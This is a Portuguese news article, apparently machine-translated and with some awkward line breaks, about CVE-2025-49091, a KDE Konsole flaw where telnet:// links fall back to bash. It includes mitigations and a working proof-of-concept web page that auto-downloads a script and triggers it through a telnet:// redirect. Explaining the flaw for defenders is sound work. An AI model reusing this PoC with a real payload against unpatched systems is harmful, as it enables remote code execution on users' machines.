Há alguns dias foi divulgada informação sobre uma vulnerabilidade crítica, que foi identificado em "CVE-2025-49091«. Esta vulnerabilidade descoberto em Konsole (o emulador de terminal KDE), permite a execução remota de código simplesmente visitando uma página web maliciosa de um navegador.
É mencionado que este problema afeta sistemas onde o KTelnetService e uma versão vulnerável do Konsole estão instalados, mas pelo menos um dos programas telnet, rlogin ou ssh não está instalado. A vulnerabilidade está localizada no console do Emulador de Terminal do KDE. Conforme observado no aviso do KDE, as versões do Konsole anteriores à 25.04.2 são vulneráveis.
O Konsole oferece suporte ao carregamento de URLs de controladores de esquema como
telnet://URL. Isso pode ser executado independentemente do telnet
O binário está disponível.Neste modo, o Konsole tinha uma rota onde, se o Telnet não estivesse disponível,
usaria o bash novamente para os argumentos fornecidos; o que
é a URL fornecida. Isso permite que um invasor execute código arbitrário.
código.Os navegadores geralmente exibem uma mensagem quando um usuário abre um navegador externo.
Controlador de esquema que pode parecer suspeito e exigir interação do usuário
ser explorável.
A origem do problema: KTelnetService e esquemas de URL perigosos
Os pesquisadores observam que o problema por trás dessa vulnerabilidade reside no comportamento do serviço KTelnetService, incluído por padrão no KDE. Este serviço é responsável por processar os esquemas de URL telnet://, rlogin:// e ssh:// e foi projetado para abrir esses links diretamente no Konsole usando os utilitários correspondentes (telnet, rlogin ou ssh).
No entanto, a falha ocorre quando esses utilitários não estão instalados no sistema. Nesse caso, o Konsole, ao tentar executar o comando indicado no link, usa /bin/bash como substituto. Portanto, um invasor pode construir um link personalizado.
Embora isso pareça insignificante à primeira vista, o problema se agrava porque o invasor pode executar qualquer arquivo no diretório de downloads do usuário usando o comando personalizado. Em outras palavras, qualquer arquivo é executado automaticamente se o usuário clicar em um link com esse esquema.
Por que isso é tão perigoso?
Navegadores modernos como Firefox e Chrome (em suas configurações padrão) salvam automaticamente os arquivos baixados na pasta ~/Downloads, sem exigir confirmação do usuário. Eles só exibem uma notificação após a conclusão do download.
Esse comportamento, combinado com o fato de que em sistemas Linux é possível acessar o caminho do diretório atual do navegador, permite que um arquivo malicioso baixado automaticamente seja executado posteriormente do Konsole sem o conhecimento do usuário.
Prova de conceito (PoC): como a vulnerabilidade é explorada
Para demonstrar o perigo da falha, os pesquisadores criaram o seguinte trecho de código JavaScript, que demonstra como um invasor pode explorar essa vulnerabilidade em uma página da web:
<html> <head> <script type="text/javascript"> function downloadAndRedirect() { const anchor = document.createElement('a'); anchor.href = "data:;base64,ZWNobyAiSGVsbG8gd29ybGQiCnRvdWNoIC90bXAvZm9vYmFyCg=="; anchor.download = 'evil'; document.body.appendChild(anchor); anchor.click(); document.body.removeChild(anchor); setTimeout(() => { window.location.href = "telnet:///proc/self/cwd/Downloads/evil"; }, 1000); } </script> </head> <body onload="downloadAndRedirect()"> </body> </html>
No Firefox e no Chrome, se o usuário aceitar o link telnet://, o seguinte será invocado:
/usr/bin/konsole --noclose -e telnet /proc/self/cwd/Descargas/evil
E, se o telnet não estiver presente, o script malicioso será executado com o bash.
Medidas temporárias de mitigação
Enquanto espera pelo patch ou se você não puder atualizar imediatamente, há duas maneiras simples de atenuar o problema:
Instale os utilitários telnet, rlogin e ssh
Se esses utilitários estiverem presentes, o Konsole os invocará corretamente e não recorrerá ao bash. Isso evita que conteúdo arbitrário seja executado como um script.
sudo apt install telnet rlogin openssh-client
Excluir o arquivo de serviço KTelnetService
Você pode excluir o arquivo responsável pelo registro desses esquemas:
sudo rm /usr/share/applications/ktelnetservice6.desktop
Isso impedirá que links telnet://, rlogin:// ou ssh:// sejam manipulados automaticamente pelo Konsole.
Solução: Atualização urgente para o Konsole 25.04.2
A vulnerabilidade foi corrigida na versão 25.04.2 do Konsole, incluída na atualização do KDE Gear 25.04.2. Recomenda-se fortemente que todos os usuários e administradores de sistema atualizem imediatamente.
Por fim, se estiver interessado em saber mais sobre o assunto, pode consultar os detalhes no link a seguir